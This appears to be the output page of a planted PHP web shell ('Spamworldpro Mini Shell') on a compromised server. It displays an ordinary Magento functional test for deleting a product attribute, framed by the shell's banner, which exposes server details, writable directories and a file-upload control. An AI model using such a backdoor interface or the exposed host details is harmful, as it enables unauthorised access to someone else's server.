Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-catalog/Test/Mftf/Test/AdminDeleteProductAttributeTest.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
 /**
  * Copyright © Magento, Inc. All rights reserved.
  * See COPYING.txt for license details.
  */
-->
<tests xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:noNamespaceSchemaLocation="urn:magento:mftf:Test/etc/testSchema.xsd">
    <test name="DeleteProductAttributeTest">
        <annotations>
            <features value="Catalog"/>
            <stories value="Product attributes"/>
            <title value="Delete Product Attribute"/>
            <description value="Admin should able to delete a product attribute"/>
            <testCaseId value="MC-10887"/>
            <severity value="BLOCKER"/>
            <group value="mtf_migrated"/>
        </annotations>
        <before>
            <actionGroup ref="AdminLoginActionGroup" stepKey="loginAsAdmin"/>
            <createData entity="productAttributeWysiwyg" stepKey="createProductAttribute"/>
        </before>
        <after>
            <actionGroup ref="AdminLogoutActionGroup" stepKey="logout"/>

            <!-- Reindex invalidated indices after product attribute has been created/deleted -->
            <magentoCron groups="index" stepKey="reindexInvalidatedIndices"/>
        </after>
        <actionGroup ref="OpenProductAttributeFromSearchResultInGridActionGroup" stepKey="openProductAttributeFromSearchResultInGrid">
            <argument name="productAttributeCode" value="$$createProductAttribute.attribute_code$$"/>
        </actionGroup>
        <actionGroup ref="DeleteProductAttributeByAttributeCodeActionGroup" stepKey="deleteProductAttributeByAttributeCode">
            <argument name="productAttributeCode" value="$$createProductAttribute.attribute_code$$"/>
        </actionGroup>
        <actionGroup ref="AssertProductAttributeRemovedSuccessfullyActionGroup" stepKey="deleteProductAttributeSuccess"/>
        <!-- Assert the product attribute is not in the grid by Attribute code -->
        <actionGroup ref="FilterProductAttributeByAttributeCodeActionGroup" stepKey="filterByAttributeCode">
            <argument name="ProductAttributeCode" value="$$createProductAttribute.attribute_code$$"/>
        </actionGroup>
        <see selector="{{AdminDataGridTableSection.dataGridEmpty}}" userInput="We couldn't find any records." stepKey="assertDataGridEmptyMessage"/>
        <!--Assert the product attribute is not in the grid by Default Label -->
        <actionGroup ref="FilterProductAttributeByDefaultLabelActionGroup" stepKey="filterByDefaultLabel">
            <argument name="productAttributeLabel" value="$$createProductAttribute.default_frontend_label$$"/>
        </actionGroup>
        <see selector="{{AdminDataGridTableSection.dataGridEmpty}}" userInput="We couldn't find any records." stepKey="assertDataGridEmptyMessage2"/>
         <!--Go to the Catalog > Products page and create Simple Product -->
        <actionGroup ref="AdminOpenProductIndexPageActionGroup" stepKey="amOnProductList"/>
        <comment userInput="Adding the comment to replace clickAddProductToggle action for preserving Backward Compatibility" stepKey="toggleAddProductBtn"/>
        <actionGroup ref="AdminClickAddProductToggleAndSelectProductTypeActionGroup" stepKey="chooseAddSimpleProduct">
            <argument name="productType" value="simple"/>
        </actionGroup>
        <comment userInput="Adding the comment to replace clickAddProductToggle action for preserving Backward Compatibility" stepKey="waitForProductAdded"/>
        <!-- Press Add Attribute button -->
        <click selector="{{AdminProductFormSection.addAttributeBtn}}" stepKey="clickAddAttributeBtn"/>
        <waitForPageLoad stepKey="waitForAttributeAdded"/>
        <!-- Filter By Attribute Label on Add Attribute Page -->
        <click selector="{{AdminProductFiltersSection.filter}}" stepKey="clickOnFilter"/>
        <actionGroup ref="FilterProductAttributeByAttributeLabelActionGroup" stepKey="filterByAttributeLabel">
            <argument name="productAttributeLabel" value="$$createProductAttribute.default_frontend_label$$"/>
        </actionGroup>
        <see selector="{{AdminDataGridTableSection.dataGridEmpty}}" userInput="We couldn't find any records." stepKey="assertDataGridEmptyMessage3"/>
         <!-- Filter By Attribute Code on Export > Products page -->
        <amOnPage url="{{AdminExportIndexPage.url}}" stepKey="navigateToSystemExport"/>
        <selectOption selector="{{AdminExportMainSection.entityType}}" userInput="Products" stepKey="selectProductsOption"/>
        <waitForElementVisible selector="{{AdminExportMainSection.entityAttributes}}" stepKey="waitForElementVisible"/>
        <click selector="{{AdminExportAttributeSection.resetFilter}}" stepKey="resetFilter"/>
        <fillField selector="{{AdminExportAttributeSection.filterByAttributeCode}}" userInput="$$createProductAttribute.attribute_code$$" stepKey="setAttributeCode"/>
        <waitForPageLoad stepKey="waitForUserInput"/>
        <click selector="{{AdminExportAttributeSection.search}}" stepKey="searchForAttribute"/>
        <see selector="{{AdminDataGridTableSection.dataGridEmpty}}" userInput="We couldn't find any records." stepKey="assertDataGridEmptyMessage4"/>
    </test>
</tests>

Spamworldpro Mini